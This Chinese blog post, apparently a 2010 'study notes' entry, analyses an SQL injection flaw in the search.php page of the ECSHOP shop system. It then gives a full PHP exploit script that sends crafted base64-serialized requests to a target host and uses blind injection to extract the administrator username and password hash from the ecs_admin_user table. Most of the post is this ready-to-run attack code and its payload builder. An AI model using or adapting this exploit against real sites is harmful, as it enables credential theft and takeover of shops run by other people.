ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞

date 2010年05月18日 | category 学习笔记| 坏人咖啡

影响版本:
ECSHOP > 2.7.2

程序介绍:

ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技 术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。

漏洞分析:

文 件 search.php
$string = base64_decode(trim($_GET[‘encode’]));   //37行
$_REQUEST = array_merge($_REQUEST, addslashes_deep($string));   //69行
可以看出addslashes_deep 只能参数值进行过滤。
//297行
if (!empty($_REQUEST[‘attr’]))
{
$sql = “SELECT goods_id, COUNT(*) AS num FROM ” . $ecs->table(“goods_attr”) . ” WHERE 0 “;
foreach ($_REQUEST[‘attr’] AS $key => $val)
{
if (is_not_null($val))
{
$attr_num++;
$sql .= ” OR (1 “;
if (is_array($val))
{
$sql .= ” AND attr_id = ‘$key'”;
注意红色代码部份,$key是$_REQUEST[‘attr’] 的键值,就是这里没有过滤,直接进入SQL查询,造成SQL注入漏洞
可自行构造encode 的值进行注入。
<?php
$list=array(“1′ or 1=1) and 1=2 GROUP BY goods_id HAVING num = ‘1’ /*”=>”yy”);
$string = array(“attr”=>$list);
$string = str_replace(‘+’, ‘%2b’, base64_encode(serialize($string)));
die($string);

?>

漏洞利用:

  1. <?php
  2. ini_set(“max_execution_time”,0);
  3. error_reporting(7);
  4. function usage()
  5. {
  6. global $argv;
  7. exit(
  8. “\n–+++============================================================+++–“.
  9. “\n–+++====== ECShop Search.php SQL Injection Exploit========+++–“.
  10. “\n–+++============================================================+++–“.
  11. “\n\n[+] Author: jannock”.
  12. “\n[+] Team: [url]http://wavdb.com/[/url]”.
  13. “\n[+] Usage: php “.$argv[0].” <hostname> <path> <goods_id>”.
  14. “\n[+] Ex.: php “.$argv[0].” localhost / 1″.
  15. “\n\n”);
  16. }
  17. function query($pos, $chr, $chs,$goodid)
  18. {
  19. switch ($chs){
  20. case 0:
  21. $query = “1=1”;
  22. break;
  23. case 1:
  24. $query = ” ascii(substring((select user_name from ecs_admin_user limit 0,1),{$pos},1))={$chr}”;
  25. break;
  26. case 2:
  27. $query = ” ascii(substring((select password from ecs_admin_user limit 0,1),{$pos},1))={$chr}”;
  28. break;
  29. case 3:
  30. $query = ” length((select user_name from ecs_admin_user limit 0,1))={$pos}”;
  31. break;
  32. }
  33. $list=array(“1′ or 1=1) and 1=2 GROUP BY goods_id HAVING num = ‘1’ union select $goodid,1 from ecs_admin_user where 1=1 and “. $query .”/*”=>”1”);
  34. $query = array(“attr”=>$list);
  35. $query = str_replace(‘+’, ‘%2b’, base64_encode(serialize($query)));
  36. return $query;
  37. }
  38. function exploit($hostname, $path, $pos, $chr, $chs,$goodid)
  39. {
  40. $chr = ord($chr);
  41. $conn = fsockopen($hostname, 80);
  42. $message = “GET “.$path.”/search.php?encode=”.query($pos, $chr, $chs,$goodid).” HTTP/1.1\r\n”;
  43. $message .= “Host: $hostname\r\n”;
  44. $message .= “Connection: Close\r\n\r\n”;
  45. fwrite($conn, $message);
  46. while (!feof($conn))
  47. {
  48. $reply .= fgets($conn, 1024);
  49. }
  50. fclose($conn);
  51. return $reply;
  52. }
  53. function crkusername($hostname, $path, $chs,$goodid)
  54. {
  55. global $length;
  56. $key = “abcdefghijklmnopqrstuvwxyz0123456789”;
  57. $chr = 0;
  58. $pos = 1;
  59. echo “[+] username: “;
  60. while ($pos <= $length)
  61. {
  62. $response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);
  63. if (preg_match (“/javascript:addToCart/i”, $response))
  64. {
  65. echo $key[$chr];
  66. $chr = 0;
  67. $pos++;
  68. }
  69. else
  70. $chr++;
  71. }
  72. echo “\n”;
  73. }
  74. function crkpassword($hostname, $path, $chs,$goodid)
  75. {
  76. $key = “abcdef0123456789”;
  77. $chr = 0;
  78. $pos = 1;
  79. echo “[+] password: “;
  80. while ($pos <= 32)
  81. {
  82. $response = exploit($hostname, $path, $pos, $key[$chr], $chs,$goodid);
  83. if (preg_match (“/javascript:addToCart/i”, $response))
  84. {
  85. echo $key[$chr];
  86. $chr = 0;
  87. $pos++;
  88. }
  89. else
  90. $chr++;
  91. }
  92. echo “\n\n”;
  93. }
  94. function lengthcolumns($hostname, $path,$chs, $goodid)
  95. {
  96. echo “[+] username length: “;
  97. $exit = 0;
  98. $length = 0;
  99. $pos = 1;
  100. $chr = 0;
  101. while ($exit==0)
  102. {
  103. $response = exploit($hostname, $path, $pos, $chr, $chs,$goodid);
  104. if (preg_match (“/javascript:addToCart/i”, $response))
  105. {
  106. $exit = 1;
  107. $length = $pos;
  108. break;
  109. }
  110. else
  111. {
  112. $pos++;
  113. if($pos>20)
  114. {
  115. exit(“Exploit failed”);
  116. }
  117. }
  118. }
  119. echo $length.”\n”;
  120. return $length;
  121. }
  122. if ($argc != 4)
  123. usage();
  124. $hostname = $argv[1];
  125. $path = $argv[2];
  126. $goodid = $argv[3];
  127. $length = lengthcolumns($hostname, $path, 3, $goodid);
  128. crkusername($hostname, $path, 1,$goodid);
  129. crkpassword($hostname, $path, 2,$goodid);
  130. ?>
所属分类: 学习笔记
Tags: , , ,


没有评论

暂无评论

RSS feed for comments on this post.

对不起,该文章的评论被关闭了!